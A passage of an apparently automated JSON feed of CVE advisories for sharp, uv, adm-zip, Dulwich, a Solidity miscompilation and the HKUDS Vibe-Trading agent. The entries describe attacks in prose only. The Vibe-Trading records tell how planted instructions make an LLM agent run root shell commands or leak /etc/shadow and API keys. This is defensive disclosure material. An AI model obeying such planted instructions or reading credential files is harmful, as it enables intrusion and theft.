miscompilation in which (msg.value | K) or (len(msg.data) | K), where K is any nonzero integer literal, is compiled to the constant 1 when used as a ternary expression branch under -O gas (the default) or -O codesize. Affected contracts use the wrong value in storage writes, arithmetic, indexes, return values, or events without warning or revert, which can record deposits incorrectly and lock funds.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:38.070Z","updatedAt":"2026-10-22T17:00:33.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114117","asOf":"2026-10-22T17:00:33.203Z"},"epss":{"probability":0.00294,"percentile":0.21856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114117&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114117","type":"primary","publishedAt":"2026-10-21T01:17:38.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114117&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114117, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114113","cveId":"CVE-2026-114113","aliases":[],"kind":"vulnerability","title":"Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its...","summary":"Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its GIF, TIFF and VIPS image decoders. Attackers can supply crafted GIF, TIFF or VIPS files to applications using sharp to process untrusted input, triggering these libvips flaws.","detail":"Sharp before 0.35.0 bundles a version of libvips affected by multiple vulnerabilities (CVE-2026-33327, CVE-2026-33328, CVE-2026-35590, CVE-2026-35591 and CVE-2026-69242) in its GIF, TIFF and VIPS image decoders. Attackers can supply crafted GIF, TIFF or VIPS files to applications using sharp to process untrusted input, triggering these libvips flaws.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:37.510Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114113","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.00107,"percentile":0.01121,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114113","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114113","type":"primary","publishedAt":"2026-10-21T01:17:37.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114112","cveId":"CVE-2026-114112","aliases":[],"kind":"vulnerability","title":"Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images.","summary":"Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images. Attackers can submit malicious AVIF/HEIF input to applications processing untrusted images with sharp, triggering libheif decoding flaws to execute code.","detail":"Sharp before 0.35.4 bundles a vulnerable libheif dependency that allows attackers to achieve possible remote code execution on glibc-based Linux by supplying crafted images. Attackers can submit malicious AVIF/HEIF input to applications processing untrusted images with sharp, triggering libheif decoding flaws to execute code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:37.387Z","updatedAt":"2026-10-22T16:53:20.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114112","asOf":"2026-10-22T16:53:20.563Z"},"epss":{"probability":0.00241,"percentile":0.15156,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114112","type":"primary","publishedAt":"2026-10-21T01:17:37.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114111","cveId":"CVE-2026-114111","aliases":[],"kind":"vulnerability","title":"sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code...","summary":"sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code execution on glibc-based Linux. An attacker can supply a crafted SVG image that, when decoded by sharp through librsvg, may result in arbitrary code execution.","detail":"sharp before 0.35.5 bundles a librsvg dependency affected by a memory-related vulnerability (CVE-2026-96889) that, under certain runtime-specific conditions, can lead to code execution on glibc-based Linux. An attacker can supply a crafted SVG image that, when decoded by sharp through librsvg, may result in arbitrary code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:37.250Z","updatedAt":"2026-10-22T17:39:56.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.9,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114111","asOf":"2026-10-22T17:39:56.760Z"},"epss":{"probability":0.00129,"percentile":0.02491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114111&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114111","type":"primary","publishedAt":"2026-10-21T01:17:37.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114111&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114111, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114109","cveId":"CVE-2026-114109","aliases":[],"kind":"vulnerability","title":"uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts...","summary":"uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts entry point names. Attackers who induce users to install a malicious wheel can place executables in PATH directories, shadowing or overwriting existing binaries for code execution.","detail":"uv before 0.11.15 contains a path traversal vulnerability that allows malicious wheels to write files outside the scripts directory via crafted console_scripts or gui_scripts entry point names. Attackers who induce users to install a malicious wheel can place executables in PATH directories, shadowing or overwriting existing binaries for code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:36.957Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114109","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00382,"percentile":0.31901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114109&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114109","type":"primary","publishedAt":"2026-10-21T01:17:36.957Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114109&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114109, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114107","cveId":"CVE-2026-114107","aliases":[],"kind":"vulnerability","title":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting...","summary":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting instructions in documents or web pages the agent processes. BashTool and BackgroundRunTool pass model-emitted commands to subprocess.run with shell=True and no allow-list or approval step, and read_url fetches arbitrary URLs, enabling command execution and server-side request forgery.","detail":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands as root by planting instructions in documents or web pages the agent processes. BashTool and BackgroundRunTool pass model-emitted commands to subprocess.run with shell=True and no allow-list or approval step, and read_url fetches arbitrary URLs, enabling command execution and server-side request forgery.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:36.683Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114107","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00576,"percentile":0.47214,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114107","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114107","type":"primary","publishedAt":"2026-10-21T01:17:36.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114106","cveId":"CVE-2026-114106","aliases":[],"kind":"vulnerability","title":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools.","summary":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools. Attackers can prompt the agent to invoke read_document, which lacks sandbox checks, or safe_user_path-gated tools to leak /etc/shadow, /proc/self/environ API keys, and /root credentials.","detail":"HKUDS Vibe-Trading from 0.1.0 before 0.1.7 contains a path traversal vulnerability that allows remote attackers to read sensitive server files through LLM agent file-read tools. Attackers can prompt the agent to invoke read_document, which lacks sandbox checks, or safe_user_path-gated tools to leak /etc/shadow, /proc/self/environ API keys, and /root credentials.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:36.537Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114106","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00432,"percentile":0.37223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114106&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114106","type":"primary","publishedAt":"2026-10-21T01:17:36.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114106&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114106, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114104","cveId":"CVE-2026-114104","aliases":[],"kind":"vulnerability","title":"adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry...","summary":"adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry names. Attackers can craft archives where getEntry() returns the last duplicate while extractAllTo() writes the first, causing unvalidated bytes to be written to disk.","detail":"adm-zip before 0.6.1 contains an inconsistent entry resolution vulnerability that allows attackers to bypass content validation by supplying ZIP archives with duplicate entry names. Attackers can craft archives where getEntry() returns the last duplicate while extractAllTo() writes the first, causing unvalidated bytes to be written to disk.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:36.220Z","updatedAt":"2026-10-21T01:17:36.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114104","asOf":"2026-10-21T01:17:36.333Z"},"epss":{"probability":0.00232,"percentile":0.13937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114104&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114104","type":"primary","publishedAt":"2026-10-21T01:17:36.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114104&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114104, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114102","cveId":"CVE-2026-114102","aliases":[],"kind":"vulnerability","title":"adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync...","summary":"adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync in methods/inflater.js lacks a zlib stream error listener. Attackers can supply a ZIP with corrupted DEFLATE data processed by readFileAsync, readAsTextAsync, extractAllToAsync, or getDataAsync, triggering an uncatchable exception that terminates all in-flight requests.","detail":"adm-zip before 0.6.1 contains a denial of service vulnerability that allows unauthenticated attackers to crash the Node.js process via a malformed ZIP file, because inflateAsync in methods/inflater.js lacks a zlib stream error listener. Attackers can supply a ZIP with corrupted DEFLATE data processed by readFileAsync, readAsTextAsync, extractAllToAsync, or getDataAsync, triggering an uncatchable exception that terminates all in-flight requests.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:35.897Z","updatedAt":"2026-10-22T16:17:34.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114102","asOf":"2026-10-22T16:17:34.273Z"},"epss":{"probability":0.00455,"percentile":0.39238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114102","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114102","type":"primary","publishedAt":"2026-10-21T01:17:35.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114098","cveId":"CVE-2026-114098","aliases":[],"kind":"vulnerability","title":"Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate...","summary":"Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate directory symlinks. Attackers can craft a malicious repository whose popped stash writes a payload into .git/hooks/post-checkout, achieving code execution on the next checkout.","detail":"Dulwich from 0.22.5 before 1.2.8 contains a path traversal vulnerability in stash.py pop() that allows attackers to write arbitrary files outside the worktree through intermediate directory symlinks. Attackers can craft a malicious repository whose popped stash writes a payload into .git/hooks/post-checkout, achieving code execution on the next checkout.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T01:17:35.263Z","updatedAt":"2026-10-21T01:17:35.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114098","asOf":"2026-10-21T01:17:35.387Z"},"epss":{"probability":0.00152,"percentile":0.04296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114098&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114098","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114098","type":"primary","publishedAt":"2026-10-21T01:17:35.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114098&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114098, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114097","cveId":"CVE-2026-114097","aliases":[],"kind":"vulnerability","title":"Dulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory...","summary":"Dulwich from 0.23.1 before 1.2.8 contains a path traversal vulnerability in CommitFilter._apply_index_filter() that allows attackers to write files outside the working directory via symlinks persisting between commits. Attackers can craft a repository where an ancestor commit's symlink redirects a descendant commit's file writes during filter_branch, enabling code execution by writing into .git/hooks.","detail":"Dulwich from 0.23.1 before 